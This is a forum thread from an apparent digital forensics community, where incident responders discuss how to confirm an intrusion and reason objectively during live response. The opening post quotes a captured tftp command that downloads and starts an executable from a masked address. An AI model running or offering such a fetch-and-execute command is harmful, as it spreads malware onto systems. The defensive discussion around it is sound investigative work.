Notifications
Clear all

corpus delecti

12 Posts
5 Users
0 Likes
1,087 Views
hogfly
(@hogfly)
Posts: 287
Reputable Member
Topic starter
 

One of the questions I'm more frequently asked when investigating an intrusion is "how did this happen?", quickly followed by "why?". In reflecting on this question I refer back to some criminal justice terms such as Actus Reus and Corpus Delecti. How do we determine that we are in fact looking at an incident and how do we know that the particular system we are looking at is a victim?

Example
A malware outbreak is brought to your attention through various automated processes. two systems are identified, rapidly followed by 11 others. A decision is made to promptly contain these systems in order to prevent further spreading. You as the incident responder are called to investigate.
The automated process captured the following information
tftp -i xxx.xxx.xxx.xxx get rtvcscan.exe& start rtvcscan.exe& exit tftp -i xxx.xxxX
Microsoft Windows 2000 [Version 5.00.2195]Microsoft Windows 2000 [Version 5.00.2.

Continuing on from a previous thread, I'm still working on applying the scientific method to incident response..so my latest questions are

How do you validate the automated process?
How do you determine that an incident has occured?
How do you arrive at the answer?
What's the basis of your thought process?

 
Posted : 06/03/2007 12:46 am
skip
 skip
(@skip)
Posts: 57
Trusted Member
 

One of the questions I'm more frequently asked when investigating an intrusion is "how did this happen?", quickly followed by "why?". In reflecting on this question I refer back to some criminal

…snip…

How do you validate the automated process?
How do you determine that an incident has occured?
How do you arrive at the answer?
What's the basis of your thought process?

I'll take a crack at it…

TestForIncident;
If the automated process is on an infected machine stop.
If the automated process is signature based then
…..create another file with the same name (not malicious) and send it and the start instruction across the network
…..check the automated process for logging results
……….if the automated process (signature based) did not log your test then
……………….the origional log is based on packet/payload content
…..else stop
else review the captured network traffic around the event for other factors like source IP AND infected system responce to source IP or other external IP

return responce from infected system.

main{
if TestForIncident == 0 then
….non-incident
else
start forensic process/attack post-mortum/or system rebuild and backup restore and system hardening including software update.

skip…

 
Posted : 07/03/2007 8:01 pm
keydet89
(@keydet89)
Posts: 3568
Famed Member
 

First off, I think that there will be some issues bringing these legal terms into what amounts to a live response process…live response is simply too new a concept for most people to really get their heads around, and bringing the legal terms into play at this point will simply confuse the issue.

Okay, looking to your questions
> How do you validate the automated process?

Well, it depends on what that "automated process" is…is it a network-based IDS or a HIPS?

> How do you determine that an incident has occured?

You investigate. Your scenario doesn't have enough information on which to base a sound decision, so investigation is required.

> How do you arrive at the answer?

Through the experience and knowledge of understanding things like networking, client-server architectures, and having investigated a number of incidents.

> What's the basis of your thought process?

Again, experience. Unfortunately, the questions that need to be answered are encyclopedic.

H

 
Posted : 07/03/2007 8:22 pm
(@user24)
Posts: 12
Active Member
 

I'll take a crack at it…

TestForIncident;
If the automated process is on an infected machine stop.
If the automated process is signature based then
…..create another file with the same name (not malicious) and send it and the start instruction across the network
…..check the automated process for logging results
……….if the automated process (signature based) did not log your test then
……………….the origional log is based on packet/payload content
…..else stop
else review the captured network traffic around the event for other factors like source IP AND infected system responce to source IP or other external IP

return responce from infected system.

main{
if TestForIncident == 0 then
….non-incident
else
start forensic process/attack post-mortum/or system rebuild and backup restore and system hardening including software update.

skip…

I tried that but there were a few compile errors; can you send me the binaries?

 
Posted : 07/03/2007 8:45 pm
deckard
(@deckard)
Posts: 77
Trusted Member
 

Harlan

<live response is simply too new a concept for most people to really get their heads around,>

I agree LR is too new, but we gotta work it out. I tried just now to explain LR versus CF in a blog entry. I'm not sure I did a good job but it should be something some people can understand.

As far as the legal part, until we give the lawyers a chance to use LR in court it can never get to accepted as good evidence. If we don;t believe in it enough to "sell" it, our clients will never believe either

Bill

 
Posted : 07/03/2007 9:26 pm
hogfly
(@hogfly)
Posts: 287
Reputable Member
Topic starter
 

Harlan,

I tend to disagree. Live response has been done for many years. It just hasn't been done in this manner.
While it may be new to a lot of people, and it may be seen as dangerous to those people but what if doing this very thing is what helps get live response accepted? At some point we need to accept the fact that technical terms won't be understood for some time to come, but legal ones have a good chance.
As you've pointed out many times, it doesn't seem to be being done by anyone or many people for that matter. I'm beginning to draw parallels between real world and digital investigations. I've started blogging(shameless plug…) about it as a result of this paper I'm working on. Who knows if it'll lead anywhere, but I'm finding it pretty interesting so far.

>Well, it depends on what that "automated process" is…is it a >network-based IDS or a HIPS?

The automated process in this instance is an anomaly detection appliance that only collects what it deems anomalous and only a small snaplen(64 bytes max).

>You investigate. Your scenario doesn't have enough information on which >to base a sound decision, so investigation is required.

Yes of course, but how, given that this is the only source of information at the time? This is what NIST refers to as an indicator of an incident.

Assume for now that you have the following available as you begin to investigate Symantec Antivirus CE server, Cisco Netflow data. The systems have also been quarantined so containment has already been initiated.

>Through the experience and knowledge of understanding things like >networking, client-server architectures, and having investigated a number >of incidents.

So is it fair to say that your experiences have given you enough knowledge such that you can formulate your hypothesis based on previous incidents? i.e, you can predict with a reasonable amount of certainty what you're dealing with based on experience?

How do you keep from getting tunnel vision as a result of this?

>Again, experience. Unfortunately, the questions that need to be answered >are encyclopedic.

What I'm really after here is the thought process used by investigators rather than the technical process. Where do preconceived notions come from, how does one keep themselves objective, how do you test your theories and hypotheses etc..

Skip,
Rarely are things so clear cut and dry as pseudocode ) but that has a simplicity to it that's admirable.

 
Posted : 08/03/2007 1:20 am
keydet89
(@keydet89)
Posts: 3568
Famed Member
 

> The automated process in this instance is an anomaly detection appliance

The first thing I would do is attempt to determine the nature of the anomaly. As I have no additional information from the ADA (ie, source/dest ports, protocol used, etc.) as to the nature of the anomaly, I would have to investigate the system that this traffic is headed to. For instance, is the target system running the IIS web server?

As I've said, there's just too much unknown at this point…the ADA doesn't offer a great deal of information, evidently.

> Yes of course, but how, given that this is the only source of information
> at the time? This is what NIST refers to as an indicator of an incident.

The first thing I'd do is assess the target system. As the ADA has provided no information whatsoever to indicate the port that the traffic was sent to, etc., I'd start by looking at the attack surface of the system. As this is traffic that appears to be originating from the Internet and targeting the system, we know that this may involve some kind of remote attack. I'd want to see what applications and versions are running on the system, as well as the current active network connections and processes, and any port-to-process mapping information.

However, it appears that containment has already been initiated…can we safely assume that no one collected any of the above volatile data prior to initiating containment? Even if the systems are still live, if they've been disconnected from the network, we may have already lost valuable information.

> How do you keep from getting tunnel vision as a result of this?

My experiences don't restrict my view…rather, due to the things I've seen and experienced, I can cast my net even wider.

> Where do preconceived notions come from, how does one keep
> themselves objective, how do you test your theories and hypotheses
> etc..

Again, from experience. I have seen that preconceived notions most often come from a lack of knowledge or experience. Many times, if a malware process doesn't immediately jump out and bite the investigator, the system is assumed to either be clean, or it's infected with a rootkit. Based on my experience, I look for any evidence at all, and do not go into an investigation with pre-conceived notions.

 
Posted : 08/03/2007 3:07 am
skip
 skip
(@skip)
Posts: 57
Trusted Member
 

KISS
In a live responce you have to keep in the back of your mind. "Can I believe my eyes?"

If you focus your efforts on convincing your mind that seeing is beliving then your efforts will not be wasted.

Thats why first, is the automated detection system infected?, is a show stopper.

That is why you look to see what "triggered" the automated system, if your "anomoly" is based on something other then malicious traffic (like a program name or command name)…then you have some serious problems. Problems because then your only source of real data is located on a system that you can no longer trust.

So…this brings us to the necessary parts to really know if you can believe your eyes
– You must have a capture of all network traffic to/from the system
– And/or an "image" or representation of the system state before infection

OTHERWISE, you CAN not give a good answer to this question.
Did the attacker touch/modify/read what I am using for information/evidence?

If a system is compromised, then the logs, events, data, system tables, kernal, have a greater then 0% chance of being compromised.

You can't just do a live responce, you have to plan ahead for it.

Skip

EDIT

The first thing I'd do is assess the target system. As the ADA has provided no information whatsoever to indicate the port that the traffic was sent to, etc., I'd start by looking at the attack surface of the system. As this is traffic that appears to be originating from the Internet and targeting the system, we know that this may involve some kind of remote attack. I'd want to see what applications and versions are running on the system, as well as the current active network connections and processes, and any port-to-process mapping information.

Not just traffic to the system, but traffic from the system is usualy more indicitaive of an incident.

But that is a good point…you can start gathering all network traffic after the "alert," better late then never.

And can you be sure that seeing is beliving when you look at apps and versions, network connections and port-to-process mapping?

 
Posted : 08/03/2007 9:17 pm
skip
 skip
(@skip)
Posts: 57
Trusted Member
 

I'll take a crack at it…

…snip…

else
start forensic process/attack post-mortum/or system rebuild and backup restore and system hardening including software update.

skip…

I tried that but there were a few compile errors; can you send me the binaries?

There are 0 complie errors…you just used the wrong compiler.
)

 
Posted : 08/03/2007 9:24 pm
keydet89
(@keydet89)
Posts: 3568
Famed Member
 

> You can't just do a live responce, you have to plan ahead for it.

True dat! However, I have a great job because so few people plan ahead.

 
Posted : 09/03/2007 2:39 am
Page 1 / 2
Share: